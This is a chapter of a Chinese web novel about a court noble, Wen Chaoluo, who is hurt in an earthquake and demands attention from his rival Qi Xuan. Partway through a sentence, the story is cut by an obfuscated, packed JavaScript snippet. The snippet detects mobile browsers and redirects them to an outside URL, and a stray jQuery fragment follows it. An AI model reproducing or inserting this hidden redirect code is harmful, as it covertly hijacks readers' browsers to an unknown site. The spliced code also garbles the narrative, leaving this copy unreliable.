昨夜一场地动,闹得满京城人心惶惶。
早朝前,文武百官聚集在大殿中议论纷纷。
“感觉和上次的力道差不多。”
“略微严重一些吧,我府上的瓦又掉了好几块。”
“这短短两日内,一连地动了两次,不会还有下一次吧?”
“若是一次比一次严重,那就麻烦了。”
这时,一位须发染霜的老臣开口道:“这一连两场地动,实属罕见。我朝自立国至今两百三十余载,只有太.祖驾崩那年,出现过一次。”
“我记得史书上说,那次地动异常激烈,震得东郊的潮河都改了道。”
众人议论间,内侍通传响起。
大殿中顿时安静下来,百官齐齐朝皇帝行礼。
“昨夜地动,城中可有伤亡?”皇帝开口问道。
“回陛下,巡防营自昨夜便开始在城中巡查,目前尚未收到有人伤亡的消息。”
没有消息,就是最好的消息。
“国师昨夜推了一卦,近期京城不会继续地动,京兆府即刻去拟布告知会百姓,免得百姓心中惶恐。”大渝朝这位皇帝看着约莫五十来岁,气质冷峻,颇有为君者的威严。
而一旁立着的太子,五官虽有五分肖似皇帝,气质却温和得多。
大殿之上,朝臣轮流上奏。
就在这时,外头传来通报,说是灵山来了消息。
“是不是祭天台受到了地动波及?”皇帝问道。
“回陛下,祭天台确实受到了波及,不过陈大人说很快就能修复,不会影响工期。”
皇帝闻言面色稍缓,只要祭天台能如期完工,受到波及也不足为虑。
“可有人受伤?”一旁的太子问道。
传话之人得了陈秉忠叮嘱,本想等下了朝再详细汇报,毕竟受伤之人身份特殊。但太子当场发问,他也不敢不答,只得回话:“回殿下,工匠们都是轻伤,闻小公子带去的大夫,已经为他们料理好了伤口。但是……闻小公子的伤比较棘手,磕到了脑袋。”
此言一出,众人俱是一怔。
闻潮落可是国公府最受宠的小公子,被太子派去灵山办差的第一天就磕了脑袋,这未免也太倒霉了。
一旁的昌国公十分着急:“我儿伤势如何?可有带他回京医治?”
“国公莫急,闻小公子性命无碍。但大夫说路途颠簸,小公子此时不易奔波,而且……”传话之人支支吾吾,似是有些为难。
“有话就说,莫要吞吞吐吐。”皇帝开口。
“闻小公子受伤后时昏时醒,醒着的时候说……说要见祁副统领。”
此言一出,数十道目光齐刷刷看向了龙椅旁立着的祁煊。
不少人心中暗道,国公府这位小公子当真不是一般的娇惯,找人都找到早朝上来了。
而此时的祁副统领武服笔挺,岿然不动,面上看不出任何异样,心中却翻了天似的。
闻潮落到底搞什么鬼,是不是脑袋磕傻了?
“着太医院院判亲自带人去灵山,务必要治好闻家二郎。告诉太医院的人,库房里但凡能用上的药材尽可带上,即刻启程。”皇帝说罢看向祁煊,吩咐道:“祁煊,你也去吧,替朕看看闻家儿郎的伤势。”
“末将领命。”祁煊朝皇帝行了个礼,快步退出了大殿。
皇帝原本就打算派他去灵山,今日正好有了个名正言顺的由头。
一行人快马加鞭到了京郊营地时,闻潮落正在昏睡。
青年双目紧闭,纤长的睫毛格外抢眼,衬得面色带着几分病态的苍白。
“我家小公子住在营地里,怎么会伤了脑袋?”趁着院判查看闻潮落伤势时,刚刚赶来的国公府护卫朝一旁的修造使问道。
“下官也不知……”修造使陈秉忠擦了擦额头的汗。
“昨夜地动后我们从营帐里出来,就看到潮落躺在地上不省人事。国公府的大夫仔细检查过,猜测可能是地动时他站在外头,被震晕了,磕到了脑袋。”卢明宗道。
此时院判开口道:“依着脉象来看,闻小公子并无性命之忧。”
营中的大夫虽诊过几次脉,但闻潮落时昏时醒,众人多少还是放心不下,听太医这么说才算松了口气。
“我家公子何时能好?”护卫问道。
“这个暂时不好说,一会儿老夫先给他施针吧。”
所幸,太医施过针大半个时辰后,闻潮落就醒了。
他醒来后整个人看起来呆呆的,一副大梦未消的模样。
“闻小公子,可认得老夫?”太医院院判问他。
“认得,您怎么在这儿?”闻潮落不解。
“这是几?”对方伸出三根手指在他眼前晃了晃。
“三……别晃了,头晕。”闻潮落打掉了对方的手。
一旁的阿福见状终于放下了心,道:“公子你可算是醒了,自打早晨醒过一次后,你又昏睡了大半天呢。”
“我早晨醒过一回?”闻潮落有些茫然。
“醒过一回,不过说了几句话又昏过去了。”阿福道。
“唔……”闻潮落揉了揉脑袋,只觉得记忆模模糊糊,不甚清晰,“昨夜地动那么严重,可有人受伤?京城有消息传过来吗?”
“公子放心,没什么大碍,京城也无事。”一旁的护卫道。
“无事就好。”闻潮落放下心的同时,也有些惊讶,他记得昨晚地动挺剧烈的。
护卫见闻潮落看起来状态不错,便匆匆回了京城。今日得知闻潮落受伤,整个国公府和东宫都提着心呢,他得尽快回去报个平安。
“扶闻小公子起来走几步看看。”一旁的太医说。
阿福闻言立刻扶着闻潮落起身,然而闻小公子脚刚落地,便跌坐回了榻上,说自己脚疼。
太医见状查看了他的脚踝,开口道:“扭到了脚,问题不大,歇两日就好了。”
“骨头没事吧?”阿福担心地问道。
“老夫再瞧瞧。”见闻潮落一副疼痛难忍的模样,太医便仔细又检查了一遍,“骨头都是好的,无碍。”
“我们家公子怕疼。”阿福解释道。
“那……那便多休息几日,暂时不要走动。”
面对这样的闻小公子,太医也是没招了,总不能扭个脚就开止疼散吧。
“阿福。”待太医离开营帐后,闻潮落病恹恹地朝阿福问道:“我受伤的事情,可让人知会姓祁的了?”
“公子早晨醒了的时候,说要见他,陈大人就差人去传了话……”
阿福挺纳闷的,他家公子和祁副统领不是向来不对付吗,昨日还写话本编排人来着,怎么今日就对人这么在意了?
“传了话他竟没来?”闻潮落问。
“呃,祁副统领倒是来过,这会儿去查看祭天台了。”
“我都这样了,他还有心思去祭天台?”闻潮落十分不满,“那他来的时候,待了多久?”
“祁副统领是和太医一起来的,不过他一直站在边上没说话,好像是太医给你施完针以后走的。”阿福努力回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396437|184294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想了一下,又道:“这次太医能来这么快,还多亏了牵狼卫的人呢。听说是祁副统领带着人直接上门把院判从榻上薅起来的。”
今日太医院院判不值夜,是以早朝时尚未进宫。
牵狼卫的人一大早就上门请人,着实把院判吓得够呛,还以为自己犯了什么事儿要被牵狼卫秘密处决。
毕竟,这帮人轻易不会上门,上门多半没好事。
“祁煊何时能查看完祭天台?”闻潮落又问。
“他……”阿福挠了挠头,“要不小的去问问?”
“你找人去给他传话,就说我立刻就要见到他。若是一炷香的功夫他还不出现,以后就别再出现了!”闻潮落语气不善。
阿福虽然摸不着头脑,但还是乖乖找人去给祁煊传了话。
幸好守在营中的牵狼卫办事利索,骑了马上山,竟真把人叫了回来。
祁煊走进营帐时,就见先前昏迷不醒的人,此刻已经恢复了活力,那张脸不再显得苍白,甚至染了点异样的红,看着像是在……生气?
“醒了?”祁煊开口。
“你还知道来看我?”闻潮落质问他。
祁煊张了张嘴,一时不知该如何答话。
一直以来,他都习惯了闻潮落面对自己时,像一只随时都会炸毛的猫,满身都写着不好惹。偏偏他就喜欢逗猫,哪怕被挠了也乐此不疲。
可今日的闻潮落,和从前不大一样。具体是哪里不一样,他一时也说不上来,或许是受了伤,所以整个人看起来都有些委屈巴巴的。
“问你话呢!”闻潮落盯着他,目光咄咄逼人。
祁煊明明没做什么亏心事,被他这么一质问,竟是莫名生出了几分心虚来。
“头还疼吗?”祁煊问。
“疼死了,头也疼,脚也疼。”闻潮落语气缓和了一点,却依旧透着几分委屈,“我要去茅房。”
祁煊闻言往旁边闪了一步,给闻小公子让出了通向营帐门口的路。但闻小公子却没起身,而是盯着祁煊,仿佛在等什么。
“不……不急?”祁煊忍不住问道。
“急,现在就要去。”闻潮落说。
“那怎么还不去?”
“我都说了脚疼,你还让我自己去?”
“哦。”祁煊懂了,伸手道:“我扶你去?”
“不要。”闻潮落颐指气使,“你抱我去。”
什么玩意?
抱??
祁煊一脸震惊地看着闻潮落,大脑飞速思考,试图判断这是不是闻潮落新学的捉弄人的手段。
闻小公子向来不喜欢跟人身体接触,祁煊偶尔跟他开玩笑时搭个肩膀,他都要很嫌弃的甩开,更别说让人抱着了。再说了,一个大男人抱着另一个大男人,不是很奇怪吗?
所以这一定是个恶作剧。
在大殿上听到闻潮落要见他时,他就觉得不对劲。
闻潮落一定还在为被隼啄手之事不满,憋着坏主意报复自己,甚至不惜闹到了陛下和百官面前。
“你确定要我抱着你去?”祁煊试探。
“少废话!”闻潮落伸出了一条胳膊,那是一个邀请拥抱的姿势。
祁煊那飞速思考的大脑,短暂空白了那么一瞬。随后他“视死如归”地上前两步,就着闻潮落伸出的那条胳膊俯下身,一手绕到对方腰后,另一手穿过对方膝弯,将人打横抱了起来。
抱就抱!
又不是抱不动。
他倒要看看,这闻小公子葫芦里究竟卖的什么药。